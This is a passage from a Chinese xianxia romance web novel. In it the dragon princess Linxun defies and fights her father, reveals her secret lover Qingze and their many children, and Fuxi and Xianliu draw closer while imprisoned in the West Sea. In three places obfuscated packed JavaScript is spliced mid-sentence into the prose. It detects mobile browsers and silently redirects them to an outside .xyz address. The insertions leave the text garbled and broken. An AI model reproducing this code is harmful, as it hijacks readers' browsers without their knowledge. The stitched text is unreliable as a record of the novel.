可这麟寻话里话外都在泼她脏水,扶西哪里忍得了:“我虽只是个小小地仙,可行得正坐得直,什么算计阴谋,兜着圈子来的事情我都做不来,殿下您且放宽心,我喜欢谁都不会喜欢那什么狗屁战神!” 献流的嘴角不受控制地往下拉了几分,心头颤动。 麟寻挑眉:“哦?是么?我凭什么信你?” 扶西脑袋飞速地运转起来:“殿下,我可是帮了你大忙!” 麟寻蹙眉。 “你想啊,战神是您未婚夫,他下凡同人家历情劫,要是按部就班,万一归天后与你退婚怎么办?我这样意外搅和一阵,反叫他们一拍两散,这不是帮你是什么?” 麟寻脸色骤变,扶西不知,自己马屁恰好拍到了马腿上,麟寻没一蹄子撅死她,都是靠与生俱来的教养压制。 “你以为,我在意吗?” 扶西望着她越来越黑的脸,也只好跟个鹌鹑似的缩回去。 阴晴不定的死龙王,在她手下干活得多难啊,还好她不是鱼虾。 麟寻转而望向献流,细细将他打量一番,正欲开口,扶西却挪了过来,双手叉腰挡在献流身前。 “他虽与我同行,但不过是我山中小仙,凡事都听我的,殿下有想问的,找我就是,不必为难他。” 麟寻望着扶西那双晶亮又韧劲十足的眼,唇角不自觉漾开一抹笑意:“我是龙王,不是阎王。” 见她表情松动,扶西自己也松了口气,她从两人中间挪出来,又把献流扯过来。 献流甫一进殿,就在观察麟寻,虽是印象中的模样,可隐隐有哪里不太对。 许是注意到献流打量的眼神,麟寻十分不悦:“你叫什么名字?” 此人身上莫名散发着一阵熟悉的气息,可就是说不上来,叫她难受得紧。 献流早就不打算直接说明身份了,他对麟寻这莫名其妙的做法也很是疑惑:“小仙南疏。” 麟寻再瞥他一眼,看着就刻板无趣无聊,拿去师兄门下用,估计他会挺喜欢。 “殿下不好,老龙王气势汹汹来了!” 闻此通传,麟寻脸色微变,她正欲开口安排士兵将二人带下去,老龙王已经出现在了门口。 来不及了。 她抬手,一面水屏骤然显现,不等出声,她便将两人一脚踹了进去。 用水屏转移,倒也方便,等夜里再去海牢恐吓一阵,在卫和历劫的这段日子里,就让他们住在西海,不准再出去捣乱。 “孽畜,你个孽畜!” 老龙王每次来都一股火,麟寻早已习惯。 “父亲,这又是怎么了?”她抬眼,一惯的淡漠。 谁想,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335915|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话不曾完,老龙王带着海风的巴掌就飞到了她脸颊上,最后三个字的尾音散在风里,模糊不清。 冰冷的海水滑过脸颊,带走一丝热意,麟寻抬手摸了摸唇角的血渍,平直的唇线缓缓上扬:“又打我?父亲,你可真有意思。” “你说到天界与献流培养感情,就是这么培养的吗?”老龙王口舌欲裂,双目喷火,“你知不知道?他离奇坠入凡间,同别人历情劫去了!” 麟寻的脑袋终于在嗡嗡响声停止后转正,看上去又和方才一样:“我知道。” “你知道?”老龙王走来走去,或许是太多心急,他甚至没注意到自己飞进来前,殿中还有两个外人,“我的儿,你就不能着急一下吗?” “我没什么好急的。”麟寻语气淡淡,依旧是一副毫不在意的模样。 “好好好,你想想,若他归天,要与你退婚,怎么办?”老龙王焦急地说话都咬舌头,再加上麟寻那副始终不咸不淡的语气,惹得他愈发心烦气躁,“你别忘了,这婚约怎么来的,西海的前途就靠你了!” 麟寻面上愁色不显,心头却已经翻涌:“他喜欢谁就和谁成婚,难不成我要将刀架在他脖子上逼他吗?”她缓步朝老龙王走近,“况且师兄的脾气秉性你也知道,他若认定的人和事,地动山摇也不可移,我劝你趁早收起曾经的幻想,等着喝他的喜酒吧!” “啪——”又是一掌。 “为什么,你为什么不愿意嫁给他!他哪里不好!” 麟寻喘息愈重,压抑多年的情绪终于在这一刻爆发:“我为什么要嫁给他!我一点儿也不喜欢他,我看见他就烦得要命,一看见他就想起从前修行的时候,你不断地拿他与我比较,你追我赶的日子压得我喘不过气,每日的修炼已经足够苦寂,回到西海还要听你不停的唠叨埋怨。” 老龙王愣住。 “我都是为了你好!” “这句话你哄哄自己就算了,你是知道师父属意献流为下一任天君,而不是我,至此,你便觉得,自己的女儿够不上,孙子总可以吧。”麟寻咬牙,怒吼,“是不是!” “追逐这些有什么意思,况且师父寿数已同天地,你等着她死,不如等着我死!” “你,你,你这个不孝子!” “这么大一个西海都不够你耀武扬威吗?这么厉害,这么期盼,你怎么不飞上天界,直接与师父决一雌雄,若你赢了,让她把天君的位置让给你坐。” 老龙王呆愣着,他嘴皮动来动去,竟是一个字也吐不出来了,纠结踌躇,他长长叹了口气:“来人,上家法!” 水屏的另一方,青泽已经吓得快说不出话,他望向这两个被扔进来的不速之客。 “我要去救殿下!” 扶西和献流眼疾手快地拉住他:“你现在去了也没用,更是火上浇油。” “师,殿下她自有分寸,不会鲁莽行事的。”献流蹙眉。 “你怎么知道,你很了解她吗?”扶西揪住青泽的衣袖不放。 “我与她,算是旧识。”献流回忆往昔,“她向来孝顺,不会忤逆长辈的。” 水屏里传来痛呼的声音。 “啊——啊——啊——” 三人面容惊诧,连忙去看。 这不是麟寻的声音,是老龙王的声音。 “麟寻你个不孝女!居然,居然敢打你老子!” 45. 伤筋动骨一百天 献流:“……” 他沉默一瞬:“以前是。” 水屏里传来麟寻带着喘息的声音:“父亲有何可惧,老当益壮不是你常挂在嘴边的吗?” “砰——”她铿锵有力道,“父亲,接剑!” 扶西扒到水屏旁边,全神贯注地望着殿中画面,嘴角缓慢地扬起来:“真是家家有本难念的经,看来那战神献流应当也是个徒有虚名的神君,不然为何如此不受待见。” 献流本蹲在地上,被扶西的声音吸引,他眸光颤动两下,也凑了过去。 徒有虚名? 他望着自己掌心,如今确实是…… 只见老龙王手忙脚乱地接住麟寻扔过来的重剑,手腕一歪,差点被砸到在地,他抬起头,满脸的不可思议:“孽畜!你做什么?” 麟寻赤手空拳,唇角歪了歪:“等三个月后,父亲还要和师父对决,我帮您先练一练,把把关。” 老龙王缓缓站直,抬手抚了抚方才被麟寻“狂揍”的左脸,面上浮上一丝不解:“为什么是三个月?” 麟寻咧嘴笑开:“因为伤筋动骨一百天啊,父亲。” 老龙王惊恐地朝后退了三四步,漫长的万年岁月里,他从来没见过麟寻脸上露出过这样的表情,带着点不管不顾的快乐与癫狂。 他脊背一凉,麟寻整个人已经闪到了他面前,双手轻轻触碰着他的剑尖:“想必父亲英姿不减当年,不如一剑刺下去,结果了我吧。” 老龙王手足无措:“你疯了?!” 麟寻牙齿咬得咯吱响:“是啊,其实我早就疯了,只是我不知道。”她的手从剑身滑过,又猛然握住老龙王的宽大的手背,又抬上去拍了拍他脸颊,“父亲,您真是风韵犹存。” 老龙王脸都绿了。 “你又说什么胡话?” “您这么喜欢献流,不如您嫁给他吧!哈哈哈哈!你不是总说这不是我同献流的婚事,是西海同天界的婚事,那您去也合情合理。”她张口大笑,又趁老龙王不注意抬起了拳头。 “疯了,真是疯了!”老龙王被彻底激怒,拔剑抵抗,两个人顿时缠斗在一处。 殿中乱作一团,桌椅横飞,鱼虾贝壳吓得四散而逃,珠玉散落,海水翻涌震荡。 扶西撤回来,看上去父女二人不相上下,谁也不肯放过谁。 她转过头,凑上来的献流脸色也不太好看,说是惊奇,他却蹙着眉,说是疑惑,他却拉着唇。 细细扫一眼,似乎是尴尬。 这有什么好尴尬的。 想到这里,扶西抬手往他大臂上狠狠锤了一下:“说不定后面就轮到我们挨打了,你注意着点,不该说的别说。” 献流咳嗽两声,点点头别过了脸。 青泽却面露不解:“你们是殿下什么人?”他见两人落入水晶宫中,又说是殿下旧识,还以为他们关系不错,毕竟殿下时时嘱咐,他们父子的行踪,不可轻易泄露。 扶西站直身子,拍了拍衣角上的灰,拉过献流笑得十分正式:“我们与殿下是旧识啊。” 青泽抬手拂去水屏,这东西不好一直开着,若有人发现就不好了。 扶西打量他模样,生得很是清秀,身量虽高但有些弱不禁风,眉目如画,目光单纯,细细看,还有些莫名其妙的,慈爱? “旧识?”他后撤两步,又想到水晶宫是西海禁地,非麟寻点头不可入,两人虽落地姿势不雅,可确确实实是进来了。 扶西重重点头,脑子里只飘满了四个字:这人好骗。 想来麟寻本打算将他们弄去别的地方,却因太过慌张把他们踹到这里来了。 “好吧。”果不其然,青泽只稍加思索,便抬手示意两人跟上,“看来殿下与你们关系不错,连水晶宫都让你们来了,不知你们到这里,是要做什么?” “殿下说,说喜事将近,邀我们前来观礼。”扶西抬嘴就开始胡扯,反正听闻那西海龙王和天界战神婚期将近,这么说应该不会被怀疑。 青泽脚步微顿,面色惆怅:“喜事将近么……” 怪不得殿下反抗得如此激烈。 “你不知道?”扶西脱口而出。 青泽回过头:“想来还是逃不掉了。” 扶西和献流听得云里雾里,青泽继续前行,两人抬脚跟上,随着他穿过迷宫般的珊瑚群,最终停在一处造型奇特似贝壳,内里却是屋子的地方。 “今夜你们便住在这里吧。”青泽推开房门,“若是殿下来了,我再过来叫你们。” 扶西重重点头,眼看着他飘然若风地离去,消失在拐角,连忙扯起献流的衣袖:“走走走,再不能耽搁了,若是她发现我们没在她想弄过去的地方,就晚了!” “出不去的。” 扶西:“?” “此处名为水晶宫,是西海禁地,里三层外三层皆是龙王布下的法咒,非她本人和掌握此法的人不得出入。”他定定地望着扶西,“上上下下,左左右右,只有无穷无尽的圆圈,根本走不出去。” 扶西有些狐疑地绕着他前前后后走了两圈:“你怎么知道?” 献流咳嗽一声,他该怎么说呢…… 当年是麟寻极其热情地邀请他前来西海龙宫游玩,又将他带到水晶宫中,行走说话间,麟寻人就不见了。 他在水晶宫里转了不知多久,都没能出去,用法术探了才知道这水晶宫中布满禁制,根本出不去。 他只好用蛮力破开,回天界去了,如今哪里破得开,只能等着。 听闻麟寻知道此事,气得三天吃不下饭。 “书上看的。”他眨巴着眼睛。 扶西凑得更近,更是十分熟稔地将献流偏过去的脑袋扒回来:“什么书,连这个都写?” “六界异闻录。”他双眼同扶西对在一处,满是笑意,目光久久不曾移开。 扶西被他看得脸颊一热,嗫嚅两下,刚刚想好要反驳的话也给忘了,只好悻悻地移开目光,大步流星往前走:“我就不信,我找不到出去的地方。” 献流转身跟上:“好。” * 青泽颇有些紧张地在房中踱步,从天光大亮到暮色四合,他叹口气,无数次地打开房门,期待看到那个熟悉的身影。 又一刻钟。 “咯吱——” 他闻声立刻来到房门前,只见麟寻挺拔的身影被月光勾勒出淡淡的轮廓,面容有些看不清,但可以听到她微微喘息的声音,还能闻到淡淡的血腥气。 青泽快要哽咽道:“我去点灯。” 一双温热有力的手抓住了他,麟寻摇摇头:“不,不用了,我现在鼻青脸肿,怕吓到你。” 青泽摇头:“殿下,你太冲动了。” 麟寻拉着他来到窗下,轻轻一笑:“我早就忍够了,我伤成这样,他也好不到哪里去。”她动了动被医官包扎好的右手,不免嘶了一声,“我好歹是站着出来的,他老人家可是被抬出去的。” 青泽弯腰从抽屉里取出一罐药,抬过麟寻的手,就着月光寻找皮肤上的破口,慢条斯理地给她涂起来:“殿下也不是孩子了,弄成这样,后面该怎么收场呢?” 他叹口气,忽然想起那姑娘说过的话,五官不可避免地团在一处,形容惆怅。 麟寻捕捉到他低落的情绪,便趁他不注意将他手反扣在自己掌下:“青泽,你放心,我不会和别人成亲的,你好好准备准备,明日,我将父亲带来见你。” 青泽愣了愣:“这……” 麟寻眉弯弯:“还有孩子们。” 青泽一团话堵在喉咙:“殿下,你不是说,有办法的吗?一定要走到这一步吗?老龙王他,他会不会又生气。”青泽抚上她肿得老高的脸颊,“会不会又打你?” 麟寻在他手掌里蹭了蹭:“他打我,我就打回去,打得比今天还难看。”她笑时扯到嘴角,“对了,孩子们呢?” 青泽也起身来到房门前,轻声呼唤。 “……” 没有回应。 他神色骤变,回身与麟寻对望。 麟寻拍桌起身:“遭了,不会被我父亲发现了吧。”她披衣起身,“你在这里等着,我去找找。” 青泽拉住她快要冲出去的身体:“殿下,先在水晶宫找找看吧。” 麟寻望着他时时不疾不徐的脸,心头焦躁被抚平大半:“嗯。” * 扶西气喘吁吁地扶住身旁的石头:“果真在转圈。” “你就是这样,别人说了不信,非得自己试了才肯罢休。”献流上前,一把捞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346591|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过扶西的手臂架到自己肩上。 扶西望着他动作,一时忘了挣扎,看他头顶也没有草叶,这是做什么,不会是要…… 把她抱起来吧…… 扶西抿抿唇,眼前的事物没翻个,身前多了个宽阔的脊背。 “我背你吧。” 扶西熟门熟路地搂住他脖颈,竟没来由地有点失落,怎么不是抱呢?她眼珠子轱辘转,脑海里居然出现了献流揽着她腿弯将她抱起来的画面。 垂眸笑了会儿,她才如梦初醒地回过神来,不对,她笑什么? 这有什么好笑的。 明明是她调教的好,此贼如今懂事多了,有眼色多了,自觉多了。 对,就是这样。 “咚——” 扶西捂住脑门,朝上看去,只见身侧的珊瑚石上立着个还没她小腿高的奶娃娃,身着红衣,抬着个弹弓怒气冲冲地看着他们。 “你们是谁?” “砰砰砰——” 更多的石子从上头落下来,原本只有一个的娃娃忽而变作四五个,七八个,两边都站着,还生着几乎一模一样的脸。 扶西从献流背上跳下来:“我是不是眼花了?” 献流也缓缓地摇头:“不,你没有。” “居然夜闯水晶宫,看我不拿下你们,送给爹爹处置!” 数十个身着红衣的娃娃从天而降,将扶西和献流压倒在地,偏偏他们力气小又生得可爱,忙活了半天,扶西和献流连点油皮也没破。 扶西捞起一个细细看:“你是哪家的小孩,这么晚了不睡觉,出来做什么?” 他甩着四肢挣扎:“放开我!放开我!” “放开九哥!” “放开九弟!” 扶西依言放开他,慢慢坐直身子,只看到一堆乌泱泱的娃娃,个头差不多,长相差不多,衣服差不多。 “你们是谁家的孩子?” “你又是谁?” 献流将他们扫过一遍:“我们是应邀而来的客人。” 扶西扯了扯嘴角,看来他胡扯的本领也长进不少,往常这个时候,难道他不应该一边慢慢地将这些娃娃拿开,一边道:“这样顽皮,成何体统。” 谁料下一刻,献流起身拿开一个扒在自己的大腿上的孩子:“夜色已深,为何不回家,你父母呢?如此胡闹,成何体统。” 扶西:“……” 许是他不笑时看上去颇有些威严,孩子们立刻乌泱泱地又涌了回去。 “水晶宫是我们家,我们在这里玩呢!” 有个看上去胆子大的:“父亲确实说过会有人来陪我们玩,是你们吗?” 扶西重重点头:“是啊,就是我们。” “好啊!我们来玩老鹰抓小□□!”那孩子迈出来,指着献流,“你做老鹰!” 又指指扶西:“你做老母鸡。” * “再不跑快点,我就吃了你们!” “啊啊啊啊啊。” “休想伤害我的孩子们,你这只可恶的老鹰!” “啊啊啊啊啊。” 麟寻听到声音,顿在原地,她耳廓微动,只觉得这声音十分耳熟。 转了个弯,果然看到孩子们一连串拉着,躲在那扶西山君后头闹成一片,欢声笑语不断。 那南疏小仙挥舞着手臂,略有些笨拙刻意地追上去,脑袋和肩膀上还扒着老十八和老十九。 他们怎么会在这里? 不是被传去海牢了吗? “殿下!”青泽与她汇合,也看到这一幕。 “爹爹!”不知是谁先发现的。 “娘亲!” 一石激起千层浪,这群娃娃再不玩了,呜啦啦地跑过去,将麟寻同青泽围了起来。 扶西嘴巴微张,目瞪口呆。 等等!这些孩子竟是她俩的? 献流则是有些迷茫地转身,望着将麟寻紧紧围住的孩子们。 对上麟寻目光的一刹那,他额角青筋直跳。 他记得,麟寻面对前来示好的男仙,向来是一把挑掉他们手中的剑,用鼻孔出气:“对了,你要说什么?” 这样的人,不声不响生了…… 一二三四五六……三十二个孩子! 46. 你真有义气! 扶西:“……” 献流:“……” 麟寻:“……” 青泽:“……” 寂静,长久的寂静,扶西几乎能听到耳畔滑过的海水声,咚咚作响的心跳声。 “你,都是你的孩子?”还是献流先回过神来,他知道多问无益,还是没忍住。 麟寻冷笑一声,附耳到青泽身旁说了些什么,他脸色变幻又即刻恢复正常,转身便带着一连串的孩子离开了。 “与你何干?” 扶西砸吧砸吧嘴:“那个,你未婚夫知道吗?” 献流按住自己的神色,师妹此举虽有些出格,可细究起来并无不妥,他们空有一纸婚约,却并无情谊。 麟寻想做什么,自然与他无关。 “你以为抓住了我的把柄,就可以威胁我?”麟寻阔步朝扶西走近,她身量比扶西高一些,即便受了伤气势也不减分毫,还是那副盛气凌人的模样。 “不不不!”扶西后退两步,连忙否认,“殿下误会了,我方才见你奋起抵抗糊涂老爹,袒露心声,就知道这东西对你来说算不得把柄,你并不害怕此事被戳穿,甚至希望快点公之于众。” 麟寻直起身子,有些意外,她打量着扶西,冷哼一声:“别以为见了点我不为人知的一面就以为很了解我,我最讨厌的就是你们这种自以为是的人。” 扶西真想哭天喊地,跟这位龙王说话左不行,右不行,硬抗不成,服软讨好也不成。 扶西露出个有些勉强的笑,识趣地换了个话题:“你的孩子们,都挺可爱的。” 麟寻对她这句话似乎很是认同,轻描淡写地点了点头,唇角微不可察地扬起三两分。 “至于献流,他知道了又怎样。”麟寻唇角扯平,“我……” 献流开口打断:“他若是知道,一定想与你道歉。” 麟寻转过头来有些诧异地看着他:“你说什么?”眼前的男人面目似乎变得有些模糊起来,摇摇晃晃之间仿佛真的变成了献流那副古板的模样。 从来都是一丝不苟的鬓发,挺直的腰板,眉目凌厉却却不显凶相,同人说话时总做出一副长辈模样,语重心长。 麟寻蹙眉,烦得紧。 “感情之事,从来都不能勉强,他若知道你寻得真爱,不会说什么的,只会与你道歉,是他从前的无知与无心束缚了你。” 麟寻愣了愣,冷漠的表情松动一两分,面前的男人恢复了原本的模样,朝她微微颔首。 她按捺下心头的情绪,依旧换上那副面对陌生人的冰冷模样:“够了。” 她一挥袖,扶西和献流二人便被一道翻涌的海水卷了进去。 扶西乱舞的双手还没抓到东西,就已经落入海牢之中,四周皆是缓缓流动的水幕,头顶透入一道朦胧的光线。 这不像海牢,倒像个小小的秘境。 她伸出手去触碰水幕,却被强大的灵流贯击全身,她颤抖几下,只觉得那东西沿着筋脉走遍五脏六腑,她过电一样颤抖起来,皮肤酥酥麻麻地像是快熟了。 继而是针刺般的疼痛从指尖传来,扶西全身的皮肤绷紧,立刻收回了手指。 确实,确实是海牢。 牢! 献流拉过她的手,翻来覆去看了一遍,摇摇头:“就知道来不及同你讲,你就要去试试了。” 扶西抽回手指,不好意思地笑了笑:“还好没有雷刑,我还活着。” 话音刚落,在海牢顶部唯一一块没有水幕的地方乍起惊雷,直直朝两人劈下来。 扶西瞳仁一缩,立刻手脚并用地扒到献流身上,将脑袋埋进他怀里,耳边雷声久久不绝,她就哆哆嗦嗦地在献流胸前颤抖了多久。 直到背后传来温热的触感,献流的手掌托了一下,她忽觉脊背发麻,指尖发麻,脸蛋也发麻。 完了完了,这是又被电到了,酥麻痒意没完没了,扶西咬牙问:“停,停了吗?” 献流望着她头顶的发旋和那几片略显潦草却处处透着活力的叶子:“为什么怕打雷?” “当然是之前渡雷劫留下的阴影!当时差点被烧成肥料。”她抬起头,正对上献流那双含笑的眼。 平心而论,此人不笑的时候眉眼多少有些锋利不近人情,可就这样稍稍弯一点,便像盛了无边无际的水,从哪个角度看都透着光。 她觉得心脏莫名其妙地收紧,全身的皮肤都好像缩小了一倍,整个人的肌群被套在小了一圈的皮肤里,紧绷又束缚。 于是她咳嗽两声,跳了下来。 “以后要再有雷劫,我替你挡。”献流望着她,微微垂下眼睫,“就不怕被烧焦了。” 扶西抬眼望回去。 献流唇角不自觉地勾起一抹笑容,说实话,他见过扶西多少大张大合的模样,鲜少见她如此手足无措,神色闪躲。 那双澄澈灵动眼里终于不是贼兮兮亮晶晶的鬼主意,海底的光照到她绿色的衫子上,交映的光辉又投射到她侧脸流畅柔和的弧度上,纤长的睫,漆黑的眼,朱唇皓齿,顾盼生辉。 她嘴唇翕动,吐出四个铿锵有力的大字:“真有义气!”顺带用手肘重击了一下他的胸膛。 献流从快要恍惚的视线里回过神,颇有些无奈地点了点头。 * 麟寻着手下抬着不能起身的老龙王绕进水晶宫。 他一路上骂骂咧咧:“去哪儿?我就问你到底要去哪?” 麟寻轻笑:“父亲别急,到了你就知道了。” 老龙王本欲起身,却在牵拉到身上的伤口后缩了回去,这麟寻下手果然毫不留情,他都快怀疑二人究竟是不是亲父女了。 “水晶宫。”他观察着四周,心头疑虑更重,“来这里做什么?” 西海禁地,他已近千年不曾涉足,如今打眼一看,竟没有半分荒凉,有些散落各处的桌凳还裹着着贴心的毛茸茸套子。 他心头一颤,莫名有些害怕。 轿辇忽然停住,麟寻从前头绕过来,拎鸡仔似的将他扶了起来,又特别“贴心”地递来拐杖,戳到他腋下。 “青泽,你出来吧。” 麟寻话毕,尚在情况之外的老龙王眼看着从角落里飘出一片青色的身影,来人身量修长,一袭青裳,脚步略有些虚浮。 老龙王目光随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14353939|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他动作而移动,直到此人目标分明地来到自己身前,拱手一拜:“见过老龙王。”他语调颤抖拘谨,语气却颇有些坚定,再抬眼定定望着老龙王,竟给他望出几分心虚和谨慎。 “你是谁?” 不等青泽回话,麟寻便十分熟稔地揽过青泽的肩头,语气大大方方,毫不遮掩:“青泽是我所爱之人,父亲,我也不想瞒你了。” 老龙王双眼大睁,正欲抬起手来颤抖着指指点点,脚下却忽然失了依仗,他在跌倒的前夕快速地将手放回拐杖上:“胡闹!简直是胡闹!” 他连这男人是好是坏,是圆是扁都不想了解,只恨不得立刻将他打出西海。 “趁现在你和他还没什么,速速打发了!”老龙王眉心紧蹙,眸色忧心,“你可知,若叫天君知晓,会是什么后果,若传遍六界,你还怎么做人!” 麟寻冷笑:“父亲,已经来不及了。” 老龙王不解:“哪有什么来不及!” “我与青泽,已有孩子了。” 老龙王听完只觉得天旋地转,他趔趄上前扶住麟寻肚腹:“这么快,怎么这么快,我替你结果了这个孽畜!”言罢他手心金光大作,合掌就要往麟寻腹上去。 麟寻却按住他的手:“父亲误会了,孩子,已经出生了。” 老龙王悻悻地收回手掌,满眼的不可思议,他只觉得面前的女儿是如此的陌生,她唇角明明带着笑意,话语之间又是这样冷漠。 “你胡闹!”他抬手,又打算给她一个响亮的耳光。 却被麟寻一把抓住手腕:“父亲,你打我也没用了,这些都是既定的事实,献流已入人世经历情劫,若不出所料,归天后他应该会去退婚。”她垂眸,“即便他不去,我也会去,我不怕你了父亲。” 老龙王嘴唇哆嗦,说不出话。 “我心属青泽,师父要怎么罚我一概认下,今日只是告知你,不是来同你商量的。” “你,你,你个孽畜!” 麟寻对他的吼叫质问批评视若无睹,反而转身抬手:“孩子们,出来见见爷爷。” 老龙王稳住心神,眼睛死死盯着那扇缓缓打开的房门,不多时,有个小孩探头探脑地钻出来,身子圆不溜秋,形容可爱。 他眨巴着眼睛。 不愧是他老龙家的血脉。 后头情况就不对了,接二连三,没完没了,他脑子嗡嗡作响,直到耳边传来一层又一层恍若海浪扑来的爷爷。 “爷爷,爷爷,爷爷……” 无穷无尽。 他感觉一口气堵在胸口,有些难以呼吸,偏偏这些奶团子并不畏惧他的凶相,反而将他团团围住,亲昵地蹭他。 “哎。”他沧桑地应了一声,望着麟寻的眼神愈发惊诧。 “父亲好好养伤,至于战书,我已递给了师父。”麟寻走近他,“师父回信,三月后,她在天界铜陵台上,等你赴约。” “你,你,你……” 麟寻微微一笑:“希望父亲得偿所愿。” 接二连三的打击使得老龙王再受不住了,他耳中传来铮鸣,天旋地转,气血上涌,直直栽了下去。 47. 扶西喜欢他 水幕四合,脚底悬空,头顶落下如瀑的日光,除了时不时有几条游鱼经过,这海牢里除了扶西献流二人,再也没有其他生灵。 扶西眼皮耷拉,她早已分不清头顶是月光还是日光,海水从身边流过,似乎根本没把时间一起带走。 她叹气:“过了多久了?” 献流摇了摇头。 “我总算知道什么才叫真正的坐牢了。”她形容颓丧,缩在角落,五官耷拉着,“本以为龙王殿下要让我们尝尝刑罚的滋味,现在看来,她应该只是想单纯地折磨下我们的心罢了。” 她双手托着下巴:“那战神和右护法什么时候历完劫啊,仙界一天,凡间一年。”她掰着手指,“凡人寿数八九十,我们至少要在这里呆,三个多月!” 她清醒过来,这也太久了,如此的孤独寂寞冷,哪里捱得住,她从化人形到现在,还没过过这种苦日子。 她望向献流的眼神里不免带了点怨念,偏偏这人不是傻子的时候话不多,还怪不好玩的。 献流察觉到她失落的神色,心中明了几分,于是乎凑过去:“不如,我与你讲讲我的事?” 献流仔细回忆了一番,说实话他的前半生极其无趣,每日不是在修炼就是在修炼的路上,四海未定,他持剑奔赴战场,六界初平,他往返凌霄宝殿和启明殿,在如海的公文里浮沉,忙得挪不出半根筋来好好想想自己都在干什么。 扶西听他这样说,眼睛不由得泛光,说实话这人整日里冒充战神被打脸,她也挺好奇他究竟是做什么的。 献流对上扶西颇有些期待的目光,只觉得心头一软,唇角已经不自觉地微微扬起。 他是个天生地化的仙胎,不过自有记忆起已经身处天寒地冻的昆仑雪山,睡雪山,喝雪水,穿着单薄的衣裳,赤脚行在漫天大雪的山中。 他记不清自己倒了几次,又醒过来几次,只想起最后一次醒来,已经在一个温暖的木屋里。 师父救了他,还将他收作徒弟,彼时六界邪祟入侵,不得安宁,他也想过寻找之前的记忆,可都无疾而终。 师父后面又收了越来越多的徒弟,西海龙王之女麟寻,蓬莱少岛主褚易…… “那你们大师兄或者大师姐呢?” 献流温和的神色变幻一阵:“其实,大师兄与师父成亲后,我们便不叫他师兄了。” 扶西眼睛俶尔亮起:“有些,有些刺激。” 献流本就在角落,扶西听到这里,颓靡的精神立刻恢复,硬是不管不顾地又挤过来,笑意盈盈地瞧着他:“怪不得,总感觉你像个老妈子似的对待师弟师妹们,原来是是替了大师兄的班啊。” “可惜后来师兄不慎被邪祟入体,师父含泪将他斩杀,自此带着我们征战四海,再也没回过昆仑山。” 扶西愣了愣,望着献流有些惆怅的神色,手忙脚乱地扯开话题:“没想到你看着年纪不大,居然都这么老了,怪不得你那些师弟师妹同你说不来。” 献流果然收回了注意力,下意识抬手抚上自己的脸:“很老吗?” 扶西逗他:“老啊,干巴巴的。”话未完,她却见献流神色又怅然起来,心头生出不解,这六界的仙妖魔怪,那个不是大几万岁,他有什么好焦虑的,“又没什么,我不嫌弃你。” 献流听完轻笑出声:“其实很多时候我过得还是挺无趣的,不是修炼就是批文,总是尽量让自己忙碌一些,我怕停下来便忍不住思考,自己到底在做些什么……” “扶西,我觉得我做错了事。” 扶西与他对视,眸色撞到他眼底几乎深不见底的情绪里,莫名其妙,她似乎也被这无形的目光所牵动,心头竟涌出一丝不合时宜的歉疚。 “师父问我,怎么看与师妹的婚约。 我答道。 ‘我并无中意之人,故与谁结亲,都没有什么分别。’ ‘情爱于我,不过是浮云。’ ‘一切全听师父安排。’ 如果不是师妹,是随意一个由师父指定挑选的人,我都不会有异议,因为当时我真的不在乎。” 扶西眉头渐渐蹙起,她身体下意识地往远离献流的方向缓缓挪动,心头气愤还没翻涌上来,嘴巴已经忍不住了:“你这样说,置你师妹于何地?” 献流眼疾手快地抓住扶西意欲从他臂上脱离的手,定定地望着她:“所以我说,我错了,我不该因为自己无心无情,便认为别人跟我一样,原来沉默,也是一种拒绝。” 扶西望着他慢慢凑近的脸庞,呼吸没来由地加速起来,只过了一会儿,她便觉得脸颊烫得发疼:“那,那你去跟她说,她大人有大量,一定会原谅你的。” 献流垂眸想到自己如今的处境,往事虽暂不能一一串起,可他隐隐约约发现一些端倪,或许这次的意外,跟麟寻脱不了干系。 他叹口气:“晚了,我明白得太晚,已经遭殃了。” 扶西听得云里雾里,眼珠子滴溜溜转了会儿,眉间便皱了起来,她猛然起身,甩掉献流的手,挪到海牢的另一边去。 这小贼什么意思,兜兜转转,铺垫良久,就为了告诉她自己尚有婚约在身吗? 什么晚了,遭了…… 扶西一个头两个大,也不清楚自己心头为何涌上来一丝不爽快,他有没有婚约跟自己有什么关系,他和谁有婚约又跟自己有什么关系? 献流有些不明所以地望过去,只见扶西五官团在巴掌大的脸上,乌溜溜的眼里仿佛打着缠绕的结,和他视线对在一处。 他想开口,却被剜了一眼。 他极少向旁人吐露心声,即便是师父,他也只是随叫随到的孝顺徒弟。可面对扶西,他只觉得自己还有好多讲不完的话。 只是,扶西现在似乎不大乐意听了。 他微微笑了笑,无妨,以后肯定有很多时间,他慢慢讲给她听就是了。 他起身,缓步朝正在头脑风暴的扶西走去,伸手缓缓覆住她手背,朝着她微微一笑。 